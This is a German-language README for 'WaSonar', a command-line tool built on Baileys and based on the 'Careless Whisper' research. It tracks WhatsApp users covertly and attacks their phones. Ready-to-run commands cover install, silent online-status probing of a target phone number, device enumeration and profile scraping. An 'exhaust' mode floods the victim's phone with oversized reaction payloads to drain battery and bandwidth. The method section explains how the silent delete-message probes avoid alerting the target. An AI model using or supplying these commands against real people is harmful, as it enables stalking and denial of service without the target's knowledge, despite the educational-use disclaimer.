WaSonar

Hinweis: Dieses Tool ist ausschließlich für Bildungszwecke und Sicherheitsforschung bestimmt. Die Entwickler haften nicht für Missbrauch. Bitte nutzen Sie es verantwortungsbewusst und ethisch.

WaSonar ist ein leistungsstarkes CLI-Tool, das für Bildungsforschung, Gerätetracking und Stresstests im WhatsApp-Protokoll entwickelt wurde. Es basiert auf Baileys.

Funktionen • Installation • Verwendung

Funktionen

• Echtzeit-Gerätetracking: Erkennen des exakten Online/Offline-Status aller verknüpften Geräte (Telefon, Web, Desktop).
• Geräteerkennung: Auflisten aller mit einer Zielnummer verknüpften Geräte (Haupttelefon + Begleitgeräte).
• Profilextraktion: Abrufen von Profilbildern, Status-/Info-Texten und JIDs.
• Ressourcenerschöpfung: Überlastung von Geräten durch überdimensionierte Reaktion-Payloads (aggressiver/langsamer Modus).

Installation

Über NPM (Empfohlen)

npm install -g wasonar-cli

Über NPX (Keine Installation erforderlich)

npx wasonar-cli <command>

Aus dem Quellcode

git clone https://github.com/AjayAntoIsDev/wasonar.git
cd wasonar
npm install

Verwendung

1. Anmeldung

Zunächst müssen Sie sich mit einem WhatsApp-Konto authentifizieren.

wasonar-cli login

Scannen Sie den QR-Code, der in Ihrem Terminal erscheint.

2. Geräteerkennung

Alle mit einer Zielnummer verbundenen Geräte auflisten.

wasonar-cli devices <target-number>

# Beispiel:
wasonar-cli devices 919876543210

3. Online-Status & RTT

Die Kernfunktion. Senden Sie stille Sonden, um zu erkennen, ob Geräte online sind und die Latenz zu messen.

# Unbegrenzt viele Sonden senden (Standard)
wasonar-cli online 919876543210

# Bestimmte Anzahl von Sonden senden
wasonar-cli online 919876543210 --probes 5

# Ergebnisse in Datei speichern
wasonar-cli online 919876543210 --output ./logs

Hinweis: PENDING/OFFLINE bedeutet, dass der Server die Nachricht erhalten hat, das Zielgerät jedoch keine Empfangsbestätigung gesendet hat.

4. Profilextraktion

Profilbild und Status des Benutzers abrufen.

# Informationen anzeigen und Profilbild herunterladen
wasonar-cli profile 919876543210 --output ./profiles

5. Ressourcenerschöpfung

⚠️ NUR FÜR BILDUNGSZWECKE. Senden von hochfrequenten, überdimensionierten Payloads.

# Aggressiver Modus (Standard: 250 req/s, 1KB Payload)
wasonar-cli exhaust 919876543210

# Langsamer Modus (10 req/s, 500B Payload)
wasonar-cli exhaust 919876543210 --aggression slow

# Dauer festlegen
wasonar-cli exhaust 919876543210 --duration 30

Methodik

Stille Sonden

WaSonar verwendet „Stille Lösch-Sonden“, um den Online-Status zu erkennen, ohne das Ziel zu alarmieren.

1. Senden einer revoked (Lösch)-Nachricht für eine nicht vorhandene Nachrichten-ID.
2. Das Zielgerät empfängt diese „Lösch“-Anfrage.
3. Wenn das Gerät online ist, sendet es eine delivery_receipt (Status 3) für die Protokollnachricht.
4. WaSonar erfasst diese Quittung, um den Online-Status zu bestätigen und die RTT zu berechnen.

Erschöpfungsangriff

Basierend auf der „Careless Whisper“-Forschung nutzt dieser Angriff die Validierungslücke in der Reaktionsverarbeitung von WhatsApp aus.

Technische Details

Obwohl Reaktionen auf dem Telefon des Ziels nicht angezeigt werden, wenn sie ungültig sind, werden sie dennoch empfangen und verarbeitet.

• Payload-Grenzen: WhatsApp-Server erlauben Reaktions-Payloads bis zu 1 MB.
• Verarbeitung: Der Client versucht, diese Nachrichten zu verarbeiten, bevor er sie verwirft (Grenze bei ~30 Bytes für gültige Anzeige), was Ressourcen verbraucht.

Auswirkungsanalyse

Forschungsdaten deuten auf ein erhebliches Potenzial für Ressourcenerschöpfung hin:

• Datenverkehrsaufblähung: Eine einzelne Sitzung kann ~3,7 MB/s (13,3 GB/Stunde) an verdecktem Verkehr erzeugen.
• Akkuentladung: Die schnelle Verarbeitung dieser Nachrichten kann pro Stunde 14-18 % Akku auf modernen Smartphones (getestet mit iPhone 13 Pro, S23) entladen, während sich das Gerät im Standby befindet.
• Denial of Service: Der Bandbreitenverbrauch kann zu einem Dienstausfall für andere Anwendungen auf dem Opfergerät führen.

Zitation

Basierend auf Forschung von Gegenhuber et al., Universität Wien & SBA Research:

@inproceedings{gegenhuber2024careless,
  title={Careless Whisper: Exploiting Silent Delivery Receipts to Monitor Users on Mobile Instant Messengers},
  author={Gegenhuber, Gabriel K. and G{\"u}nther, Maximilian and Maier, Markus and Judmayer, Aljosha and Holzbauer, Florian and Frenzel, Philipp {\'E}. and Ullrich, Johanna},
  year={2024},
  organization={University of Vienna, SBA Research}
}

Erstellt von AjayAnto